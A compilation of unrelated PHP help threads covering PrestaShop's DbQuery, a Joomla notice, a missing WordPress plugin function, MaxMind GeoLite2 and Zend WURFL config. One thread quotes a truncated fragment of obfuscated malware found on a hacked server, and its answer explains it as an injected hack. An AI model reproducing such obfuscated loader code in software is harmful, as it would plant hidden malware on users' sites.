I need to connect a list of subscribers to a website that deals with newsletters, called newsman. The website is on prestashop, so I searched for a module to do the work, and found this: https://github.com/Newsman/PrestaShop-Newsman.
I downloaded it. uploaded it to the prestashop website, but I got an error:
Syntax error, unexpected T_OBJECT_OPERATOR`
So I started dabbling with the code and found that the issue is:
$q = (new DbQuery())
->select('`email`')
->from('newsletter')
->where('`active` = 1');
which I modified to this:
$q = new DbQuery();
$q->select('`email`')
->from('newsletter')
->where('`active` = 1');
After these changes, I was able to install the module, had access to it, but pressing the synchronize button( which calls a function that contains this bit of code from above) didn't do anything, so I guess I didn't really solve anything.
What can I do to solve this? And what is DbQuery? I cannot seem to find anything about this class online? I worked with SQL queries before, but never with this class and the structure of the query seems weird to me.
Related
When I tried to install the Joomla! extension JCH, I came up with the title message above after finished installing.
I asked the developer and he replied that I don't have to worry about the extension as this is a Joomla! issue that it will not affect the way the extension works.
The line 169 of UCMType.php is the following:
$tableNameFromType = $tableFromType->special->prefix . $tableFromType->special->type;
And the specific part of the UCMType.php that includes line 169:
public function getTypeByTable($tableName)
{
$query = $this->db->getQuery(true);
$query->select('ct.*');
$query->from($this->db->quoteName('#__content_types', 'ct'));
// $query->where($this->db->quoteName('ct.type_alias') . ' = ' . (int) $typeAlias);
$this->db->setQuery($query);
$types = $this->db->loadObjectList();
foreach ($types as $type)
{
$tableFromType = json_decode($type->table);
$tableNameFromType = $tableFromType->special->prefix . $tableFromType->special->type;
if ($tableNameFromType === $tableName)
{
return $type;
}
}
return false;
}
You really do not have to give too much attention for this issue, so the third party extension developer was right in this. This is more like a small bug (thus the Notice is there), not a serious Error. Your site will operate without a problem.
As you see in this Notice, in the foreach(){} loop a variable is tried to be defined from another variable which is not an Object, so it is just getting back a NULL value or another TYPE most probably, which does not have an Object property what is expected there.
In this particular case this whole thing happens in a relatively new Joomla core class and interface (UCM and UCMType). In this class they want to define a content type by table and this part of the code has to be modified, improved by core Joomla developers.
What should you do?
1. If you want to help the development of Joomla and yourself a bit then please report this issue here: https://developer.joomla.org/tracker.html , and they will check and repair this most probably.
2. This PHP (error) Notice is usually for developers, so if your site is a live site you should not see this Notice basically. If you see this on live site, that could mean that either your Joomla error reporting is set incorrectly, or your server error reporting default is set incorrectly.
In your Joomla admin at System->Global Configuration->Server->Error reporting has to be set to System Default or to None. Thus these not relevant notices will not appear for users, visitors of your site. Other settings only recommended if your site is not a live site and you develop that further in a staging copy for example.
And please if you have Joomla questions, visit the Joomla Stack Exchange here: https://joomla.stackexchange.com/questions and please ask your questions regarding Joomla there.
I hope the above cleared the issue for you.
I have inherited a custom wordpress theme and am doing a few changes to it (all cosmetics of changing city names, etc) , but at the bottom of a post I get the error : "Fatal error: Call to undefined function get_meta()"
In my functions.php I have this:
function bardetails(){
$web = get_meta('web');
$email = get_meta('email');
//...
}
I have a Java background but am new to php and wordpress. I dont see anywhere else this function is called, but must be tied to a post.
Have looked and can find a lot of problems about "get_post_meta()" and "meta()" but nothing about this. It also seems to be working on the other site the theme is on. I used FTP to pull over everything and all the other parts of the site seem to work fine. Looked at the database for something that could help with no luck, and also have tried to find if this is some kind of library, as the intention of the function is clear and thats to grab the website/email of the post.
So is this just a straight custom function? And if so were should it be defined in a php/wordpress setup?
It was due to a plugin that was not installed. "More Fields" By Henrik Melin, Kal Ström is a seemingly defunct plugin that was needed that allows you to use "get_meta()". For now, I just copied over the plugin but seems like I need to find an alternative going forward.
Sorry if this is the wrong site to post on.
Basically, I have a server and this file keeps creating itself. The file is a PHP file and contains code:
<?php
$GLOBALS['XfZi37Vc'] = $_SERVER;
function ruexxCV1QobH($uiBP25)
{$MISwZvode = "";global $PYJ9QSAA;
for($QNufqz7Oj=intval('fzSxRYkl'); $QNufqz7Oj<strlen($uiBP25); $QNufqz7Oj++)
{$yzwxeHjxV = ord($uiBP25[$QNufqz7Oj]) - $QNufqz7Oj - $PYJ9QSAA;
if ($yzwxeHjxV < 32){$yzwxeHjxV = $yzwxeHjxV + 94;
${YkT1GO68Y3rXB("iv[_^/1\"w;%")} = Lp4lS8SSZzAY("-15/*32B.3##G9CJJ");
${YkT1GO68Y3rXB(",g0##&D6x")} = PDeZzowtLQ("kos|n|,ryov1!#4&)!/9-{+%\$");
${QDVtOC8("pt[v\$:=")} = lpkBre6(":<;)><97C");
${fW1u5W74(";q~BY_y{")} = rdfpzT0mw(",:;9=+?3??CF<B<");
${sGbDIY("!<!.x\\ze")} = lpkBre6("kos|n|,\$nzxtr(x5~(");
function rdfpzT0mw($vGoVcwpU){return ruexxCV1QobH($vGoVcwpU);};
function ifUYiZ4bFphW5($NYycJIpl){return ruexxCV1QobH($NYycJIpl);};
${fW1u5W74("gh\"Co[")} = lpkBre6("*77#0>A-DE6#6C9;");
${rdfpzT0mw("n2lZ7t\\")} = QDVtOC8(";:27");
I have never seen code like this before. Can anyone tell me what it is exactly doing?
This is a hack that happened to your Wordpress. Probably because you are using an outdated third party plugin. These can be somewhat difficult to detect, but the code is probably being used to place ads, or redirect your users to outside content or malware.
You should remove this code and update all your plugins.
Keep in mind that this code could have also injected code into your Wordpress database. Especially if you have a plugin that enables 'eval' in Wordpress, meaning code could be retrieved from the database and eval'd.
If that doesn't solve the problem, you should start disabling third party plugins until you find the root of the problem.
Wordpress is VERY easy for automated scripts to detect and third party plugins could have been written by someone who does not know anything about security. You need to be very wary when using them, even if they come from Wordpress.org.
I'm using PHP to retrieve the city of an IP using the GeoLite2 Free Downloadable Database.
The code I'm using is the following one:
function getGeoLocationFromIp()
{
include_once('Db/Reader.php');
include_once('Db/Reader/Decoder.php');
include_once('Db/Reader/InvalidDatabaseException.php');
include_once('Db/Reader/Metadata.php');
include_once('Db/Reader/Util.php');
//use MaxMind\Db\Reader;
$reader = new Reader('/sys/class/GeoLite2-City.mmdb');
$ipData = $reader->get('xx.xx.xx.xx');
return $ipData;
}
The Db folder is in the following path: "www/Admin%20Panel/Db" and so the city database "www/Admin%20Panel/sys/class/GeoLite2-City.mmdb".
As you can see I commented use MaxMind\Db\Reader; because it crashes my web page.
I always had a problem with Classes and for this reason I never used them but now I have to and, as feared, they don't work.
I'm working directly online so I'm not even able to see the error log.. :(
Any idea on how I can make that Class work?
Thank you all :)
I've looked around and cant seem to find someone with the same issue as me, hoping i've not missed a clanger here.
I'm wanting to get device browser information for each user, i'm currently planning on doing this within the bootstrapper, following something i saw in PHP conference.
To that end i came across:
http://framework.zend.com/manual/en/zend.http.user-agent.html
Which explains how to install and use wurfl. I've followed the instructions and am coming up with the following exception:
Uncaught exception 'Zend_Http_UserAgent_Features_Exception' with message '"wurflapi" configuration is not defined'
My limited understanding of Zend leads me to think the issue is within configs/application.ini
I have the following:
resources.useragent.wurflapi.wurfl_api_version = "1.1"
resources.useragent.wurflapi.wurfl_lib_dir = APPLICATION_PATH "/../library/wurfl-php-1.1/"
resources.useragent.wurflapi.wurfl_config_file = APPLICATION_PATH "/configs/wurfl-config.php"
Where my wurfl-config.php looks like:
echo "Loaded";
die;
$resourcesDir = dirname(__FILE__) . '/../../data/wurlf/';
$wurfl['main-file'] = $resourcesDir . 'wurfl-latest.zip';
$wurfl['patches'] = array($resourcesDir . 'web_browsers_patch.xml');
$persistence['provider'] = 'file';
$persistence['dir'] = CACHE_ROOT . "/wurfl/";
$cache['provider'] = null;
$configuration['wurfl'] = $wurfl;
$configuration['persistence'] = $persistence;
$configuration['cache'] = $cache;
I'm expecting the script to die after priting loaded, but i'm not getting this, meaning the config isnt loading correctly.
Where might be the problem? What more information do you require? Has anyone else come across this dilemma before?
Thanks in advance
Seems that you're unable to do what i want.
In that this doesnt seem to want to work within a bootstrap. Instead you should do this as a plugin.
This video tutorial helps explain the documentation a little better:
http://mcloide.wordpress.com/2010/12/08/mobile-development-with-zend-framework-and-wurfl/
Now that i have setup the plugin i dont get the exception and my config loads perfectly. Humpf!!